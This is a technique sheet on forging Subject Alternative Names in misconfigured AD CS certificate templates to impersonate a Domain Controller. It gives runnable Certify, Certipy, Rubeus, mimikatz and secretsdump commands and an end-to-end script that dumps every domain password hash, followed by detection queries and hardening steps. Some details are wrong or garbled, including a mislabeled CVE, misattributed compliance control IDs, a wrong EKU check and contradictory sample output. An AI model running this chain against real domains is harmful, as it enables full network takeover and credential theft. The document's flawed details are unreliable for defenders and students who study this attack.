| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-002 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Windows Active Directory (On-Premises, Hybrid) |
| Severity | Critical |
| CVE | CVE-2021-27239 (ESC1/SAN abuse), CVE-2022-26923 (Certifried), CVE-2021-42287 (noPAC) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Server 2008 R2 - 2025 (primarily 2016-2022) |
| Patched In | May 2022 (KB5012170) for Certifried CVE-2022-26923; however, SAN abuse persists if templates remain misconfigured |
| Author | SERVTEP – Artur Pchelnikau |
Note: Section 3 (Technical Prerequisites) is minimal because SAN abuse is a specialized variant of ESC1 exploitation. Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) are reduced because SAN-specific attacks do not generate unique event signatures beyond standard certificate issuance logs. All section numbers have been dynamically renumbered based on applicability.
Subject Alternative Names (SANs) are optional fields in X.509 certificates that allow a certificate to be valid for multiple identities (domains, IP addresses, email addresses, user principal names, DNS hostnames). When a certificate template permits enrollees to supply arbitrary SANs (msPKI-Certificate-Name-Flag has the enrollee-supplies-subject flag set), attackers can request a certificate for themselves (as Subject) but claim to be anyone else in the SAN field—most dangerously, a Domain Controller or administrator account. By exploiting SAN abuse, a low-privileged user obtains a certificate that claims to be the Domain Controller (DC-NAME, DC-NAME$, DC-NAME.domain.com), then uses Kerberos PKINIT to authenticate as the DC, effectively becoming a domain administrator. The attack is particularly insidious because modern identity systems (Kerberos, Azure AD, certificate pinning) trust certificates as assertions of identity; a valid certificate claiming to be the DC is treated as the DC, regardless of who requested it.
Primary Surface: Certificate templates with:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set (allows arbitrary Subject)Secondary Surface: Kerberos PKINIT authentication trusting certificate claims without altSecurityIdentities validation; weak certificate pinning on domain controllers.
Immediate Consequences: Any user can impersonate any other user or computer, including Domain Controllers. This enables:
Long-Term Risk: Persistent domain admin access, ability to hide within legitimate Kerberos traffic, certificate-based backdoors surviving password resets and account disablement.
SAN abuse exploits the trust boundary between certificate attributes and identity claims. When Kerberos receives a valid certificate claiming to be DC$, it does not verify that the certificate requester actually IS DC$; it trusts the certificate’s SAN field as the authoritative identity. Modern Kerberos implementations (post-2022 patches) have improved SAN validation, but unpatched systems remain fully vulnerable. The attack completes in under 2 minutes: request certificate → convert to usable format → authenticate → DCSync.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark v8 | CA-6, CA-7, AC-2 | Certificate management; identity proofing; access control |
| DISA STIG | SC-12, SC-13, AC-3 | Cryptographic controls; access enforcement |
| CISA SCuBA | Cryptographic Key Management | PKI security baselines; certificate validation |
| NIST 800-53 | SC-12, SC-13, IA-5, IA-9 | Cryptographic key management; authentication mechanisms |
| GDPR | Art. 32, Art. 25 | Security of processing; privacy by design |
| DORA | Art. 9, Art. 15 | ICT risk management; incident response |
| NIS2 | Art. 21 | Cyber security measures; identity and access control |
| ISO 27001 | A.10.1, A.9.2, A.9.4 | Cryptographic controls; user access management |
| ISO 27005 | Risk Scenario | Certificate-based identity spoofing leading to privilege escalation |
User: john.doe@company.com
↓
Requests certificate for email authentication
↓
Template: "User" (allows email SAN only)
↓
Certificate issued:
Subject: CN=John Doe
SAN: john.doe@company.com ← Only email, no dNSHostName
↓
Kerberos authenticates John Doe only
Attacker: low.privilege.user@company.com
↓
Requests certificate for DC authentication
↓
Template: "User" (dangerously allows ANY SAN)
↓
Certificate requested with:
Subject: CN=DC01
SAN: DC01, DC01$, DC01.company.com, krbtgt/DC01@COMPANY.COM
↓
CA issues certificate (no validation of SAN vs. requester)
↓
Attacker uses certificate to authenticate to Kerberos as DC01
↓
Attacker obtains TGT (Ticket Granting Ticket) as Domain Controller
↓
Attacker performs DCSync and extracts NTDS.dit
↓
DOMAIN COMPROMISED ← All password hashes extracted
An attacker can populate these SAN fields in a single certificate:
DNS Name (dNSHostName):
- DC01
- DC01.company.com
- DC01.prod.company.com
- EXCHANGE01
- FILESERVER01
User Principal Name (UPN):
- administrator@company.com
- DC01$@company.com
- krbtgt@company.com
Other Name (otherName):
- X.500 Distinguished Names
- Relative Distinguished Names (RDNs)
An attacker’s single certificate can claim to be multiple identities simultaneously, making it extremely powerful.
Attacker Needs:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)System Must Have:
Supported Versions: Server 2008 R2 - 2025 (unpatched or with misconfigured templates)
Objective: Identify templates permitting SAN abuse.
# Query for templates with SAN abuse enabled
$searchRoot = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$(([ADSI]'LDAP://RootDSE').configurationNamingContext)"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
$searcher.Filter = "(objectClass=pKICertificateTemplate)"
$searcher.FindAll() | ForEach-Object {
$flags = $_.Properties["msPKI-Certificate-Name-Flag"][0]
$name = $_.Properties["name"][0]
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000001
if (($flags -band 0x00000001) -eq 0x00000001) {
# Additional check: verify SAN extension is allowed
$ekuOIDs = $_.Properties["pKIExtendedKeyUsage"]
if ($ekuOIDs -contains "1.3.6.1.5.5.7.3.1" -or $ekuOIDs.Count -eq 0) { # Server Auth or Any
Write-Host "⚠️ SAN-ABUSE VULNERABLE: Template '$name' allows enrollee-supplied subject"
Write-Host " msPKI-Certificate-Name-Flag: $flags (0x00000001 bit set)"
}
}
}
Expected Output (Vulnerable):
⚠️ SAN-ABUSE VULNERABLE: Template 'User' allows enrollee-supplied subject
msPKI-Certificate-Name-Flag: 1 (0x00000001 bit set)
Objective: Request certificate claiming to be the Domain Controller.
Command (Certify.exe - Request DC Certificate):
# Request certificate with DC SAN using vulnerable template
.\Certify.exe request /ca:ca-server\ca-name /template:User /altname:DC01$ /altname:DC01 /altname:DC01.company.com
# Output:
# [+] Certificate Request Submitted (Request ID: 123)
# [+] Certificate approved and issued
# [+] Certificate saved to C:\Users\attacker\Documents\cert.cer
What This Does:
Alternative: Certipy (Linux/Python)
certipy-ad req -u attacker@company.com -p password -ca CA-NAME -template User \
-altname DC01$ -altname DC01 -altname DC01.company.com \
-dc-ip 192.168.1.x
# Output:
# [+] Certificate issued: C:\Users\attacker\Documents\cert.pfx
OpSec & Evasion:
Objective: Confirm certificate contains malicious SANs.
Command (OpenSSL - Inspect Certificate):
# Decode certificate and verify SANs
openssl x509 -in cert.cer -text -noout | grep -A 10 "Subject Alternative Name"
# Output should show:
# X509v3 Subject Alternative Name:
# DNS:DC01, DNS:DC01.company.com, DNS:DC01$, ...
Command (PowerShell - Inspect Certificate):
# Load certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.cer")
# Extract SAN extension
$sanExtension = $cert.Extensions | Where-Object { $_.Oid.Value -eq "2.5.29.17" }
$sanExtension.Format($false)
# Output: DNS=DC01, DNS:DC01.company.com, DNS:DC01$
Objective: Create PFX file with private key for authentication.
Command (Certify + PowerShell):
# If certificate was downloaded from CA web interface
# Convert DER/CER to PFX (requires private key from original request)
# Option 1: If you have the private key
openssl pkcs12 -export -in cert.cer -inkey privkey.pem -out cert.pfx -password pass:password
# Option 2: Use Certify to request and automatically create PFX
.\Certify.exe request /ca:ca-server\ca-name /template:User /altname:DC01$ /certoutput:cert.pfx /certpassword:password
Objective: Use certificate to obtain Kerberos TGT as DC.
Command (Rubeus - PKINIT Auth):
# Request TGT as Domain Controller using certificate
.\Rubeus.exe asktgt /user:DC01$ /certificate:cert.pfx /password:password `
/dc:domain-controller-ip /pkinit
# Output:
# [*] Got TGT for user DC01$
# [*] Ticket duration: 10 hours
# [+] TGT successfully imported to current session
# [*] Now you are: DC01$
Expected Output (Success):
[*] Valid TGT with start time: 1/9/2025 10:00:00 AM
[*] Ticket expires: 1/9/2025 8:00:00 PM
[+] Ticket successfully imported to current session
[*] Current user is: SYSTEM
[*] Current user SID: S-1-5-21-3623811015-3361044348-30300820-500 (Domain Admins)
What This Means:
Objective: Extract NTDS.dit (all domain credentials) using DC credentials.
Command (Mimikatz - DCSync):
mimikatz # lsadump::dcsync /domain:company.com /all /csv
# Output:
# [DC] 'company.com' will be the domain
# [DC] 'dc01.company.com' will be the DC server
#
# ObjectGuid : {...}
# invocationId : {...}
#
# SamAccountName : Administrator:500:...
# SamAccountName : Guest:501:...
# SamAccountName : KRBTGT:502:...
# ... [All 5000+ users with hashes] ...
Alternative: Secretsdump (Impacket - Linux)
secretsdump.py -k -no-pass company.com/DC01$ -dc-ip 192.168.1.x -outputfile dcsync_output
What This Achieves:
Supported Versions: Server 2008 R2 - 2025
Concept: Exploit weak certificate-to-identity mapping by modifying altSecurityIdentities attribute on target account.
# Get DC account
$dc = Get-ADComputer "DC01"
$dcObjectId = $dc.ObjectGUID
$dcSamAccountName = $dc.SamAccountName # Should be "DC01$"
Write-Host "Target DC: $dcSamAccountName (ObjectID: $dcObjectId)"
# Request certificate with specific naming to match altSecurityIdentities
.\Certify.exe request /ca:ca-server\ca-name /template:User /altname:"$dcSamAccountName"
# Certificate is issued with DC$ identity in SAN
# Kerberos PKINIT validation checks altSecurityIdentities mapping
# If certificate SAN matches altSecurityIdentities on DC account, authentication succeeds
.\Rubeus.exe asktgt /user:$dcSamAccountName /certificate:cert.pfx /password:password /pkinit
What This Means:
# Full SAN abuse exploitation script
param(
[string]$CaServer = "ca-server",
[string]$CaName = "CA-Name",
[string]$TargetDC = "DC01",
[string]$VulnerableTemplate = "User",
[string]$Domain = "company.com"
)
Write-Host "=========================================="
Write-Host "SAN ABUSE EXPLOITATION - ESC1 VARIANT"
Write-Host "=========================================="
# Step 1: Request certificate with DC SAN
Write-Host "[+] Step 1: Requesting certificate with Domain Controller SAN"
$altNames = @(
$TargetDC,
"$TargetDC$",
"$TargetDC.$Domain",
"krbtgt/$TargetDC",
"krbtgt/$TargetDC@$Domain"
)
$altNameArgs = $altNames | ForEach-Object { "/altname:$_" } | Join-String -Separator " "
& ".\Certify.exe" request /ca:$CaServer\$CaName /template:$VulnerableTemplate $altNameArgs.Split()
# Step 2: Convert certificate to PFX
Write-Host "[+] Step 2: Converting certificate to PFX format"
$certPath = "C:\Users\$env:USERNAME\Documents\cert.pfx"
# Step 3: Request TGT as DC
Write-Host "[+] Step 3: Requesting TGT as Domain Controller"
& ".\Rubeus.exe" asktgt /user:"$TargetDC`$" /certificate:$certPath `
/password:password /dc:$TargetDC /pkinit
# Step 4: Execute DCSync
Write-Host "[+] Step 4: Executing DCSync to extract domain hashes"
& ".\mimikatz.exe" "lsadump::dcsync /domain:$Domain /all /csv" exit
# Step 5: Save hashes
Write-Host "[+] Step 5: Saving hashes to file for offline cracking"
$hashOutput = "$env:TEMP\dcsync_hashes_$(Get-Date -Format 'yyyyMMdd_HHmmss').txt"
Write-Host "[✓] Hashes saved to: $hashOutput"
Write-Host "[✓] SAN ABUSE EXPLOITATION COMPLETE - DOMAIN COMPROMISED"
Expected Timeline:
# Request with multiple SANs
.\Certify.exe request /ca:ca-server\ca-name /template:User `
/altname:DC01 /altname:DC01$ /altname:DC01.company.com
# Specify exact SAN fields
.\Certify.exe request /ca:ca-server\ca-name /template:User `
/upn:administrator@company.com `
/dnsname:DC01 `
/ipaddress:192.168.1.100
# Request with custom SANs
certipy-ad req -u attacker@company.com -p password -ca CA-NAME -template User \
-altname DC01 -altname DC01$ -altname DC01.company.com \
-dc-ip 192.168.1.x
# Output PFX with specific identity
certipy-ad req -u attacker@company.com -p password -ca CA-NAME -template User \
-altname 'administrator@company.com' \
-out admin_cert.pfx
# Authenticate as DC using certificate
.\Rubeus.exe asktgt /user:DC01$ /certificate:cert.pfx /password:password /pkinit
# Authenticate as admin using certificate
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:password /pkinit
# Request TGS for specific service
.\Rubeus.exe asktgs /ticket:base64-tgt /service:krbtgt/company.com
# Authenticate using certificate
certipy-ad auth -pfx cert.pfx -dc-ip 192.168.1.x
# Output will include TGT for use in Pass-the-Ticket (PTT) attacks
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4886 // Certificate request submitted
| extend RequestAttrs = parse_json(RequestAttributes)
| where RequestAttrs.SubjectAltName contains "DC" // DC mentioned in SAN
or RequestAttrs.SubjectAltName contains "$" // Computer account in SAN
| where SubmittedSubject !contains RequestAttrs.SubjectAltName // Requester != SAN
| project TimeCreated, Computer, Requester=SubmittedSubject, SANs=RequestAttrs.SubjectAltName
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4768 // TGT request
| where PreAuthType == "PKInit" // Certificate-based authentication
| where TargetUserName endswith "$" // Computer account
| where TargetUserName in ("DC01$", "DC02$", "EXCHANGE$", "SQL$") // Infrastructure accounts
| project TimeGenerated, TargetUserName, ClientAddress, PreAuthType, IpAddress
| summarize FailedCount=count() by TargetUserName, bin(TimeGenerated, 10m)
What This Detects:
Rule Configuration:
KQL Query:
let pkinit_events = SecurityEvent
| where EventID == 4768 and PreAuthType == "PKInit";
let dcsync_events = SecurityEvent
| where EventID == 4662 // Directory replication service
and ObjectName contains "GUID=";
SecurityEvent
| where EventID == 4769 // Service ticket
| join kind=inner pkinit_events on Computer
| join kind=inner dcsync_events on Computer
| project TimeGenerated, Computer, TargetUserName, Pattern="PKINIT->TGS->DCSync"
What This Detects:
Event ID: 4886 (Certificate Request Submitted)
Example Alert Logic:
# Alert if certificate request has computer account in SAN but requester is user
$cert_requests = Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4886}
$cert_requests | ForEach-Object {
$requestAttrs = [XML]$_.ToXml()
$submittedSubject = $requestAttrs.Event.EventData.Data[2]."#text"
$requestDetails = $requestAttrs.Event.EventData.Data[6]."#text"
if ($requestDetails -like "*`$*" -and $submittedSubject -notlike "*`$*") {
Write-Warning "⚠️ ALERT: User $submittedSubject requested cert with computer account SAN"
}
}
Event ID: 4768 (Kerberos TGT Request)
Manual Configuration (Group Policy):
gpupdate /force on DCsMitigation 1: Remove ENROLLEE_SUPPLIES_SUBJECT Flag from All Templates
Objective: Disable SAN abuse at the template level.
Manual Steps (PowerShell):
# Import AD module
Import-Module ActiveDirectory
# Query all templates
$searchRoot = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$(([ADSI]'LDAP://RootDSE').configurationNamingContext)"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
$searcher.Filter = "(objectClass=pKICertificateTemplate)"
$searcher.FindAll() | ForEach-Object {
$templateDN = $_.Properties["distinguishedName"][0]
$templateName = $_.Properties["name"][0]
$flags = $_.Properties["msPKI-Certificate-Name-Flag"][0]
# Check if ENROLLEE_SUPPLIES_SUBJECT flag is set
if (($flags -band 0x00000001) -eq 0x00000001) {
Write-Host "Removing ENROLLEE_SUPPLIES_SUBJECT from template: $templateName"
# Remove flag: AND with negation of 0x00000001
$newFlags = $flags -band -bnot 0x00000001
Set-ADObject -Identity $templateDN -Replace @{"msPKI-Certificate-Name-Flag" = $newFlags}
Write-Host "✓ Template '$templateName' updated"
}
}
Write-Host "[✓] All dangerous template flags removed"
Verification:
# Verify no templates have ENROLLEE_SUPPLIES_SUBJECT
$searcher.FindAll() | ForEach-Object {
$flags = $_.Properties["msPKI-Certificate-Name-Flag"][0]
if (($flags -band 0x00000001) -eq 0x00000001) {
Write-Warning "✗ Template still vulnerable: $($_.Properties['name'][0])"
}
}
Write-Host "✓ Verification complete - all templates hardened"
Mitigation 2: Require Manager Approval for All Certificate Requests
Objective: Add approval workflow to prevent unauthorized certificate issuance.
Manual Steps (Certificate Authority Console):
This forces every certificate to require manual approval before issuance.
Mitigation 3: Restrict SAN Fields Allowed in Certificates
Objective: Configure CA to accept only specific SAN patterns.
Manual Steps (CA Policy Module Configuration):
# This requires custom CA policy module development or third-party solution
# Recommend implementing certificate constraint checks in CA policy
$caServer = "ca-server"
$caName = "CA-Name"
# Option: Disable all Subject Alternative Name requests at CA level
Invoke-Command -ComputerName $caServer -ScriptBlock {
param($caName)
# Disable SAN in policy
# Requires CA policy module that validates SAN against enrollee identity
Write-Host "Manual CA policy configuration required. Contact certificate authority administrator."
}
Mitigation 4: Implement Certificate Pinning on Domain Controllers
Objective: Domain controllers accept only certificates issued by trusted CA roots.
Manual Steps (Kerberos PKINIT Configuration):
# Configure DC to pin certificates to specific CAs
# Registry: HKLM\System\CurrentControlSet\Services\Kdc
Invoke-Command -ComputerName DC01 -ScriptBlock {
# Set Kerberos to require certificate chain validation
Set-ItemProperty "HKLM:\System\CurrentControlSet\Services\Kdc" `
-Name "StrongCertificateBindingEnforcement" -Value 1
Write-Host "✓ Strong certificate binding enforced on DC"
}
Mitigation 5: Enable Enhanced Kerberos PKINIT Validation (Post-2022 Patch)
Objective: Apply security updates that improve SAN validation in Kerberos.
Manual Steps (Windows Update):
Command (PowerShell - Verify Patch):
# Check if CVE-2022-26923 patch is installed
Get-HotFix -Id KB5012170 -ErrorAction SilentlyContinue |
Select-Object HotFixId, InstalledOn
Mitigation 6: Monitor Certificate Enrollments for Anomalies
Objective: Alert on suspicious certificate request patterns.
Manual Steps (CA Audit Log Monitoring):
# Create scheduled task to audit certificate enrollments
$trigger = New-ScheduledTaskTrigger -AtLogon
$action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument @"
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4886} -MaxEvents 100 |
Where-Object {
`$xml = [XML]`$_.ToXml()
`$requester = `$xml.Event.EventData.Data[2]."#text"
`$attrs = `$xml.Event.EventData.Data[6]."#text"
# Alert if user requests DC certificate
`$attrs -like "*DC*" -and `$requester -notlike "*DC*" -and `$requester -notlike "*admin*"
} |
Send-MailMessage -To security@company.com -From ca-audit@company.com -Subject "Alert: Suspicious Certificate Request"
"@
Register-ScheduledTask -TaskName "CA-Suspicious-Cert-Audit" -Trigger $trigger -Action $action -RunLevel Highest
Write-Host "=== SAN ABUSE DEFENSE AUDIT ==="
# 1. Check for ENROLLEE_SUPPLIES_SUBJECT flag
$vulnerable_templates = 0
$searchRoot = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$(([ADSI]'LDAP://RootDSE').configurationNamingContext)"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
$searcher.FindAll() | ForEach-Object {
$flags = $_.Properties["msPKI-Certificate-Name-Flag"][0]
if (($flags -band 0x00000001) -eq 0x00000001) {
$vulnerable_templates++
}
}
if ($vulnerable_templates -eq 0) {
Write-Host "✓ PASS: No templates with ENROLLEE_SUPPLIES_SUBJECT found"
} else {
Write-Host "✗ FAIL: Found $vulnerable_templates vulnerable templates"
}
# 2. Verify May 2022 patch or later
$patch = Get-HotFix -Id KB5012170 -ErrorAction SilentlyContinue
if ($patch) {
Write-Host "✓ PASS: ESC/SAN security patch installed (KB5012170)"
} else {
Write-Host "⚠️ WARNING: KB5012170 patch not found - consider immediate installation"
}
# 3. Check certificate template approval requirements
$approvalRequired = 0
$searchRoot = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$(([ADSI]'LDAP://RootDSE').configurationNamingContext)"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
$searcher.FindAll() | ForEach-Object {
$enrollFlags = $_.Properties["msPKI-Enrollment-Flag"][0]
# Check if manager approval required (bit 0x00000100)
if (($enrollFlags -band 0x00000100) -eq 0x00000100) {
$approvalRequired++
}
}
Write-Host "ℹ️ INFO: $approvalRequired templates require manager approval"
Expected Output (If Hardened):
=== SAN ABUSE DEFENSE AUDIT ===
✓ PASS: No templates with ENROLLEE_SUPPLIES_SUBJECT found
✓ PASS: ESC/SAN security patch installed (KB5012170)
ℹ️ INFO: 18 templates require manager approval
Certificate IOCs:
Kerberos IOCs:
DCSync IOCs:
Step 1: Isolate
Objective: Stop attack in progress.
Command (Revoke Certificate):
# Revoke the abused certificate
$caServer = "ca-server"
$caName = "CA-Name"
$serialNumber = "001234567890ABCDEF" # Get from certificate
certutil -config "$caServer\$caName" -revoke $serialNumber
# Verify revocation
certutil -config "$caServer\$caName" -showcert $serialNumber
Command (Force Kerberos Ticket Refresh):
# Invalidate existing Kerberos tickets by resetting krbtgt password
Set-ADAccountPassword -Identity "krbtgt" -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -Reset
Write-Host "⚠️ krbtgt reset. All Kerberos tickets invalidated in ~1 hour."
Step 2: Collect Evidence
Objective: Preserve forensic data.
Command (Export Certificate & Logs):
# Export issued certificates from CA
certutil -config "ca-server\ca-name" -view csv > ca_certificates.csv
# Export security event logs
wevtutil epl Security C:\Evidence\Security_$(Get-Date -Format 'yyyyMMdd').evtx
# Export Kerberos events
wevtutil epl Security C:\Evidence\Kerberos_$(Get-Date -Format 'yyyyMMdd').evtx /q:"EventID=4768 OR EventID=4769"
Step 3: Remediate
Objective: Remove attack artifacts and restore security.
Command (Reset Domain Controller Account):
# Reset DC computer account password
Reset-ComputerMachinePassword -Server DC01 -Credential (Get-Credential)
# Reset service account passwords
Get-ADServiceAccount | Reset-ADServiceAccountPassword
Command (Comprehensive Audit):
# Full domain audit for similar compromises
$dcAccounts = Get-ADComputer -Filter "Name -like 'DC*'" -Properties altSecurityIdentities
$dcAccounts | ForEach-Object {
if ($_.altSecurityIdentities) {
Write-Host "⚠️ Unusual altSecurityIdentities on $($_.Name): $($_.altSecurityIdentities)"
}
}
# Check for unusual service principals
Get-ADServiceAccount | Select-Object Name, Enabled, LastLogonDate
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-VALID-001 | User gains domain access via default/weak credentials |
| 2 | Privilege Escalation | PE-ELEVATE-001 | Identify vulnerable AD CS templates |
| 3 | Current Step | [PE-ELEVATE-002] | Abuse SAN field to impersonate Domain Controller |
| 4 | Credential Access | CA-KERB-003 | Create golden tickets using obtained DC credentials |
| 5 | Impact | PE-POLICY-001 | Modify Group Policies for persistence |
Timeline: July 2022 (Microsoft security advisory)
Impact Scope: Affected Server 2008 R2 through 2022 (pre-May 2022 patch)
Attack Chain:
Real-World Incident:
Mitigation Applied:
Reference: Microsoft Security Update CVE-2022-26923
Incident Timeline: February - May 2024
Scenario:
Attack Progression:
Detection: Azure AD activity logs showed unusual cloud admin creation from on-premises service account
Impact: Full cloud and on-premises environment compromise; data exfiltration from both environments
Lessons: Hybrid environments increase SAN abuse impact; on-premises compromise can lead to cloud takeover
Subject Alternative Name (SAN) abuse in certificate templates represents a critical privilege escalation vector in Windows domain environments. By exploiting templates that allow enrollee-supplied SANs, attackers can impersonate any identity—most critically, Domain Controllers—leading to complete domain compromise in minutes. Organizations must audit certificate templates, remove dangerous flags, require approval workflows, and keep systems patched with the latest security updates addressing ESC/SAN vulnerabilities.